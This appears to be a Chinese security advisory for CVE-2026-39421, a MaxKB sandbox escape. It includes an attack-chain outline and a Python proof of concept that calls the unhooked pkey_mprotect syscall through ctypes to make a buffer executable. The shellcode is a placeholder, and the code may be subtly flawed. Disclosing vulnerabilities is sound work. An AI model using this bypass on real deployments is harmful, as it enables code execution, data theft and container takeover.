IPBUF安全漏洞报告
English
CVE-2026-39421 CVSS 6.3 中危

CVE-2026-39421 MaxKB沙箱逃逸致代码执行漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-39421
漏洞类型
沙箱逃逸 / 代码执行
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MaxKB

相关标签

沙箱逃逸代码执行MaxKBctypesLD_PRELOAD绕过CVE-2026-39421

漏洞概述

MaxKB是企业级开源AI助手,其2.7.1及以下版本存在严重的沙箱逃逸漏洞。该漏洞位于ToolExecutor组件,攻击者可利用Python的ctypes库直接发起原始系统调用,从而绕过基于LD_PRELOAD的sandbox.so模块限制。尽管沙箱拦截了execve、system及mprotect等关键函数以防止代码执行,但由于未拦截pkey_mprotect,拥有工作区权限的认证攻击者仍能分配可执行内存并执行任意代码,导致容器被完全攻陷及数据泄露。建议尽快升级至安全版本。

技术细节

该漏洞的核心在于MaxKB依赖的沙箱机制存在逻辑缺陷。系统通过LD_PRELOAD预加载sandbox.so库,利用Hook机制拦截Python进程的关键系统调用,如execve、system、connect和open。为了防止代码注入,沙箱还特别拦截了mprotect调用,禁止将内存页标记为PROT_EXEC(可执行)。然而,沙箱并未拦截pkey_mprotect系统调用。攻击者利用Python的ctypes库,可以直接调用内核接口,绕过Python层的Hook限制。通过pkey_mprotect,攻击者可以将包含恶意Shellcode的内存区域修改为可执行状态,进而跳转执行恶意指令,完全绕过沙箱的防御体系,实现容器内的任意代码执行。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者获取MaxKB应用程序的合法账户凭证,并拥有工作区访问权限。
STEP 2
步骤2:定位漏洞组件
攻击者访问ToolExecutor组件,准备提交包含恶意Python代码的任务。
STEP 3
步骤3:构造绕过载荷
攻击者编写Python脚本,利用ctypes库调用原始系统syscall,特别是使用未被拦截的pkey_mprotect来赋予内存执行权限。
STEP 4
步骤4:执行任意代码
通过修改内存属性并跳转到Shellcode执行,攻击者绕过LD_PRELOAD沙箱限制,在容器内执行任意系统命令。
STEP 5
步骤5:控制与窃取
攻击者建立反向Shell,完全控制容器环境,并窃取敏感数据或进行横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-39421 # This PoC demonstrates bypassing the LD_PRELOAD sandbox using ctypes and pkey_mprotect. import ctypes import sys # Constants for x86_64 architecture SYS_pkey_mprotect = 330 PROT_READ = 0x1 PROT_WRITE = 0x2 PROT_EXEC = 0x4 # Shellcode placeholder (e.g., execve /bin/sh) shellcode = bytes(b"\x90\x90\x90\x90") # Replace with actual shellcode # Allocate memory buffer buffer_size = len(shellcode) # Use ctypes to create a writable buffer libc = ctypes.CDLL(None) addr = libc.valloc(buffer_size) addr = ctypes.cast(addr, ctypes.c_void_p) # Write shellcode to memory ctypes.memmove(addr, shellcode, buffer_size) # Bypass sandbox by using raw syscall for pkey_mprotect instead of mprotect # Arguments: addr, size, prot, pkey (ignored usually if default) # PROT_READ | PROT_WRITE | PROT_EXEC = 7 print(f"[*] Attempting to change memory protection at {hex(addr.value)}...") # Execute raw system call via libc syscall wrapper # Note: syscall number depends on architecture (330 for pkey_mprotect on x86_64) result = libc.syscall(SYS_pkey_mprotect, addr.value, buffer_size, PROT_READ | PROT_WRITE | PROT_EXEC, 0) if result == 0: print("[+] Memory protection changed successfully! Bypass successful.") # Cast to function pointer and execute (Theoretical execution) func = ctypes.cast(addr, ctypes.CFUNCTYPE(None)) print("[!] Executing shellcode...") # func() # Uncomment to actually execute else: print(f"[-] Failed to change protection: {result}")

影响范围

MaxKB <= 2.7.1

防御指南

临时缓解措施
如果无法立即升级,建议严格限制MaxKB工作区的访问权限,仅允许受信任的内网IP访问。同时,应在宿主机层面加强对容器行为的监控,特别是检测异常的内存修改操作和可疑的外联请求,以阻断潜在的利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表